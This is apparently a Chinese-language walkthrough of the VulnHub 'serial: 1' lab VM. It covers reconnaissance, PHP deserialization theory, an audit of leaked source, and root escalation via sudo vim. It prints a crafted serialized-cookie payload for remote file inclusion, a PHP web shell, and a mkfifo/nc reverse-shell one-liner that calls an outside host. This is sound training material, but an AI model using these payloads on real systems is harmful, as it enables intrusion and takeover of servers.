前言
此漏洞环境是vulhub上的系列漏洞之一,是php反序列化漏洞,也用到了远程代码执行漏洞。
复现过程
环境搭建
靶机下载地址
https://www.vulnhub.com/entry/serial-1,349/
下载好之后直接用Vmware workstation打开就行了
存活扫描
内网存活主机扫描
arp-scan -l
扫描到的存活主机是192.168.77.157
端口扫描
扫描开放的端口
nmap -sV -p- 192.168.77.157
发现开放了80,22号端口
访问web服务
页面上显示
Hello sk4This is a beta test for new cookie handler
burp抓包:
发现cookie是base64加密过的,解密后发现是经过序列化过的:
O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}
o:代表存储的是对象(object),如果传入的是一个数组,那它会变成字母a。
4:表示对象的名称有4个字符。User表示对象名称,刚好是4个字符。
2:表示有2个值
s:表示字符串,数字表示字符串的长度,s:10:" User name";
在这里补充一下PHP序列化/反序列化的相关内容
php序列化和反序列化函数是serialize()和unserialize(),serialize()可以将变量转换为字符串并且在转换中可以保存当前变量的值;unserialize()可以将serialize()生成的字符串转化为变量。php进行序列化的目的就是保存一个对象方便以后的重用。说到反序列化就不得不说一下魔法函数,常见的魔法函数有
(1)construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
(2)wakeup() :unserialize()时会自动调用
(3)destruct():当对象被销毁时会自动调用。
(4)toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5)get() :当从不可访问的属性读取数据
(6)call(): 在对象上下文中调用不可访问的方法时触发
(7)sleep():使用serialize时触发
魔法函数的调用是在一个类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。
目录扫描
使用御剑扫描发现存在**…/backup/**路径,访问发现存在目录遍历漏洞:
下载bak.zip,发现有三个源代码
代码审计
index.php
<?php
include("user.class.php");</small>
if(!isset($_COOKIE['user'])) {
setcookie("user", base64_encode(serialize(new User('sk4'))));
} else {
unserialize(base64_decode($_COOKIE['user']));
}
echo "This is a beta test for new cookie handler\n";
?>
log.class.php
<?php
class Log {
private $type_log;
function __costruct($hnd) {
$this->$type_log = $hnd;
}
public function handler($val) {
include($this->type_log);
echo "LOG: " . $val;
}
}
?>
user.class.php
<?php
include("log.class.php");
class Welcome {
public function handler($val) {
echo "Hello " . $val;
}
}
class User {
private $name;
private $wel;
function __construct($name) {
$this->name = $name;
$this->wel = new Welcome();
}
function __destruct() {
//echo "bye\n";
$this->wel->handler($this->name);
}
}
?>
三个源代码,index.php把cookie序列化然后再base64编码一下;user.class.php定义了两个类,一个是Welcome,另一个是User,上面我们base64解码之后的就是把User序列化之后的结果,分析User这个类,发现有$this->wel = new Welcome();那就再看Welcome这个类,发现这个类里面写的是一个handler()函数,而且还包含了log.class.php,我们再去看log.class.php,
public function handler($val) {
include($this->type_log);
echo "LOG: " . $val;
这里存在着文件包含漏洞,我们可以加以利用输出一些我们想要的信息
Getshell
根据解码后的cookie进行构造,出现文件包含漏洞的是Log类,所以我们就加上序列化之后的Log类的内容
O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}</small>
O:4:"User":2:{s:10:" User name";s:5:"admin";s:9:" User wel";O:3:"Log":1:{s:8:"type_log";s:27:"http://xx.xx.xx.xx/shell.txt";}}
此poc用到了远程文件包含漏洞,shell.txt是我在远程服务器上放的木马,内容是
<?php
system($_GET['cmd']);
?>
>>> base64.b64encode(b'O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:27:"http://xx.xx.xx.xx/shell.txt";}}')
b'Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6Mjc6Imh0dHA6Ly8xNDAuMTQzLjEyMi4xMy9jLn'
注意此处的空格需要用\00代替,链接就是我放在服务器上的一个木马的地址,修改url的时候不要忘记把s修改一下
burp重放
反弹shell
编码前:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xx.xx.xx.xx 4444 >/tmp/f
编码后:
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+xx.xx.xx.xx+4444+>/tmp/f
提权
获取到shell后在根目录下发现文件credentials.txt.bak
,里面是sk4用户的密码,有了密码就可以通过22端口进行远程连接了
提权方法是通过sudo -l
查看当前用户可执行和无法执行的命令,发现vim对所有用户都NOPASSWORD,所就尝试sudo vim
,进入到命令模式输入!bash
,就可以成功提权。
参考文章
远程文件包含:https://www.jianshu.com/p/be68cf9be911
php反序列化:https://imysec.cn/2019/03/27/php-xu-lie-hua-yu-fan-xu-lie-hua/
https://xz.aliyun.com/t/3674
https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#1-%E6%A6%82%E5%BF%B5%E8%A7%A3%E9%87%8A%EF%BC%9A
反弹shell:https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
https://mp.weixin.qq.com/s?__biz=Mzg4MzA4Nzg4Ng==&mid=2247483980&idx=1&sn=7009611467280235e020d9dc2bfb79e4&chksm=cf4d8d2df83a043b5dada8d3239f521c90fc1fb25c46d53c8587673acf982251b2302c0efeb4&mpshare=1&scene=1&srcid=&sharer_sharetime=1570769686338&sharer_shareid=62f0fff7c8b6ad3fb28d5be3244bea91&key=f3b89a09cde51f0fdbad4af22908c0f665373d6e9d648b35ff04a2bce7cb6280bc37c79fc979034db3d63288319f3433cb3d27798738c4f62d7426b45bff32c5c2ec445b03996541b829e6b49b0418e7&ascene=1&uin=Mjk3MTU2ODQ5&devicetype=Windows+10&version=62070141&lang=zh_CN&pass_ticket=d4y2wiXz0x%2FRPuCGj%2FU%2FgrlvMD1dRyPHSJVBX56CpDZ%2BWKCs171mNJinVFauuuDd